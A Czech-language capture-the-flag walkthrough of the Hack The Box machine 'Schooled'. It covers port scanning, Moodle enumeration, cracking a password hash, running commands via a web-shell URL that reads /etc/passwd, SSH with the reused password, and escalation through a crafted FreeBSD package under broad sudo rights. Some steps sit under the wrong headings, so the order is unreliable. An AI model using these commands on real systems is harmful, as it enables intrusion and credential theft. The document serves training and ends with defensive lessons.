Schooled
Úvod a kontext
U Schooled není hlavní hodnota v jednom efektním kroku, ale ve vazbě mezi moodle.schooled.htb, Moodle a jeho pluginy a FreeBSD balíčky.
Článek dává smysl číst hlavně jako rozbor rozhodování: proč právě tyto stopy vedou k SSH s nalezenými přihlašovacími údaji a proč po získání shellu dává smysl řešit příliš široká sudo oprávnění.
Počáteční průzkum
Vyhledání otevřených portů
Nejprve mapuji veřejně dostupné služby, protože právě z otevřených portů odvodím, které protokoly a aplikace má smysl zkoumat detailněji.
ports=$(nmap -p- --min-rate=1000 -T4 -Pn $IP | grep ^[0-9] | cut -d "/" -f 1 | tr "\n" "," | sed s/,$//);echo $ports;nmap -p $ports -A -sC -sV -v -Pn $IP
PORT STATE SERVICE VERSION
Detailní analýza služeb
V dalším kroku si zpřesňuji verze služeb a jejich charakteristiky, protože právě z těchto detailů obvykle vzniká rozhodnutí, zda pokračovat přes web, SSH nebo jinou vrstvu.
22/tcp open ssh OpenSSH 7.9 (FreeBSD 20200214; protocol 2.0)
| ssh-hostkey:
| 2048 1d:69:83:78:fc:91:f8:19:c8:75:a7:1e:76:45:05:dc (RSA)
| 256 e9:b2:d2:23:9d:cf:0e:63:e0:6d:b9:b1:a6:86:93:38 (ECDSA)
|_ 256 7f:51:88:f7:3c:dd:77:5e:ba:25:4d:4c:09:25:ea:1f (ED25519)
80/tcp open http Apache httpd 2.4.46 ((FreeBSD) PHP/7.4.15)
|_http-favicon: Unknown favicon MD5: __CENSORED__
| http-methods:
| Supported Methods: POST OPTIONS HEAD GET TRACE
|_ Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.46 (FreeBSD) PHP/7.4.15
|_http-title: Schooled - A new kind of educational institute
33060/tcp open mysqlx?
| fingerprint-strings:
| DNSStatusRequestTCP, LDAPSearchReq, NotesRPC, SSLSessionReq, TLSSessionReq, X11Probe, afp:
| Invalid message"
| HY000
| LDAPBindReq:
| *Parse error unserializing protobuf message"
| HY000
| oracle-tns:
| Invalid message-frame."
|_ HY000
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port33060-TCP:V=7.91%I=7%D=4/3%Time=6068BCD2%P=x86_64-pc-linux-gnu%r(NU
SF:LL,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(GenericLines,9,"\x05\0\0\0\x0b\x
[... výstup zkrácen ...]
SF:esk-RC,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(TerminalServer,9,"\x05\0\0\0
SF:\x0b\x08\x05\x1a\0")%r(NCP,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(NotesRPC
SF:,2B,"\x05\0\0\0\x0b\x08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0
SF:fInvalid\x20message\"\x05HY000")%r(JavaRMI,9,"\x05\0\0\0\x0b\x08\x05\x1
SF:a\0")%r(WMSRequest,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(oracle-tns,32,"\
SF:x05\0\0\0\x0b\x08\x05\x1a\0%\0\0\0\x01\x08\x01\x10\x88'\x1a\x16Invalid\
SF:x20message-frame\.\"\x05HY000")%r(ms-sql-s,9,"\x05\0\0\0\x0b\x08\x05\x1
SF:a\0")%r(afp,2B,"\x05\0\0\0\x0b\x08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\
SF:x88'\x1a\x0fInvalid\x20message\"\x05HY000");
Service Info: OS: FreeBSD; CPE: cpe:/o:freebsd:freebsd
Enumerace webu
Ve webové vrstvě hledám neveřejné cesty, vývojové artefakty a chybně vystavené soubory, protože právě ty často prozradí technologii aplikace, interní workflow nebo přímo přístupové údaje.
whatweb -v http://moodle.schooled.htb
./dirsearch/dirsearch.py -u http://moodle.schooled.htb -e php -x 403 -r
Enumerace webu (2)
Ve webové vrstvě hledám neveřejné cesty, vývojové artefakty a chybně vystavené soubory, protože právě ty často prozradí technologii aplikace, interní workflow nebo přímo přístupové údaje.
gobuster dir -w /usr/share/seclists/Discovery/Web-Content/raft-small-directories-lowercase.txt -t 40 -x php,txt,log,html -u http://moodle.schooled.htb
Analýza zjištění
Identifikace a hledání exploitu
Zjišťuji technologii a ověřuji známé zranitelnosti.
whatweb -v http://$IP
Summary : HTML5, Bootstrap, Email[#,admissions@schooled.htb], HTTPServer[FreeBSD][Apache/2.4.46 (FreeBSD) PHP/7.4.15], PHP[7.4.15], Apache[2.4.46], Script, X-UA-Compatible[IE=edge]
Lámání hesel nebo hashů
Hash nebo zašifrovaný artefakt má smysl lámat jen tehdy, pokud může otevřít další službu, účet nebo vrstvu prostředí; právě to zde ověřuji.
/usr/sbin/john admin_passwd --wordlist=/usr/share/wordlists/rockyou.txt
=> !QAZ2wsx
Lámání hesel nebo hashů (2)
Hash nebo zašifrovaný artefakt má smysl lámat jen tehdy, pokud může otevřít další službu, účet nebo vrstvu prostředí; právě to zde ověřuji.
cat >> shell/+MANIFEST <<'EOF'
name: shell
version: "1.0_5"
origin: sysutils/mypackage
comment: "automates stuff"
desc: "automates tasks which can also be undone later"
maintainer: john@doe.it
www: https://doe.it
prefix: /
EOF
pkg create -m shell/ -r shell/ -o .
Získání přístupu
Spuštění exploitu
V této fázi převádím předchozí zjištění do praktického kroku, který má vést k ověřitelnému přístupu nebo k dalším citlivým datům.
http://moodle.schooled.htb/moodle/blocks/completion_progress/version.php?c=cat%20/etc/passwd
root:*:0:0:Charlie &:/root:/bin/csh
toor:*:0:0:Bourne-again Superuser:/root:
daemon:*:1:1:Owner of many system processes:/root:/usr/sbin/nologin
operator:*:2:5:System &:/:/usr/sbin/nologin
bin:*:3:7:Binaries Commands and Source:/:/usr/sbin/nologin
tty:*:4:65533:Tty Sandbox:/:/usr/sbin/nologin
kmem:*:5:65533:KMem Sandbox:/:/usr/sbin/nologin
games:*:7:13:Games pseudo-user:/:/usr/sbin/nologin
news:*:8:8:News Subsystem:/:/usr/sbin/nologin
man:*:9:9:Mister Man Pages:/usr/share/man:/usr/sbin/nologin
Přihlášení na cíl (2)
Jakmile mám pověření nebo jednorázový shell, snažím se přejít na stabilní a reprodukovatelný přístup, aby bylo možné bezpečně pokračovat v interní enumeraci.
ssh jamie@10.10.10.234
!QAZ2wsx
$ sudo -l
User jamie may run the following commands on Schooled:
(ALL) NOPASSWD: __CENSORED__ update
(ALL) NOPASSWD: __CENSORED__ install *
Získání user flagu
User flag zde slouží hlavně jako potvrzení, že už mám běžný uživatelský kontext a mohu pokračovat v lokální analýze systému.
Následující úsek zachycuje přechod k prvnímu stabilnímu uživatelskému přístupu nebo shellu.
steve:*:1002:1002:User &:/home/steve:/bin/csh
ssh jamie@10.10.10.234
!QAZ2wsx
sudo -l
Eskalace oprávnění
Získání root flagu
Tento krok ukazuje, jak se nalezená slabina nebo chyba v delegaci oprávnění mění v privilegovaný přístup.
cat /root/root.txt
__CENSORED__
Shrnutí klíčových poznatků
- Z hlediska rozhodování bylo nejdůležitější správně přečíst vazbu mezi
moodle.schooled.htb, Moodle a jeho pluginy a FreeBSD balíčky. - K uživatelskému kontextu vedl konkrétní a ověřitelný krok: SSH s nalezenými přihlašovacími údaji.
- Poslední část ukazuje, že po získání shellu rozhoduje hlavně to, jakou roli hraje příliš široká
sudooprávnění.
Co si odnést do praxe
- První obranná lekce míří na
moodle.schooled.htb, Moodle a jeho pluginy a FreeBSD balíčky. Platformy typu Moodle je potřeba záplatovat i na úrovni pluginů a pomocných komponent; drobný webový modul často otevírá plnohodnotné spuštění kódu. - Druhá lekce je o tom, jak rychle se ze zjištění stane SSH s nalezenými přihlašovacími údaji. Hesla a klíče je potřeba oddělovat mezi službami; jakmile stejné přihlašovací údaje fungují i na SSH, z lokálního úniku je plnohodnotný systémový přístup.
- Třetí lekce připomíná riziko, které v praxi představuje příliš široká
sudooprávnění. Pravidlasudo, která dovolují instalovat balíčky nebo spouštět obslužné nástroje s uživatelským vstupem, je potřeba omezit na pevné příkazy bez možnosti podvrhnout obsah.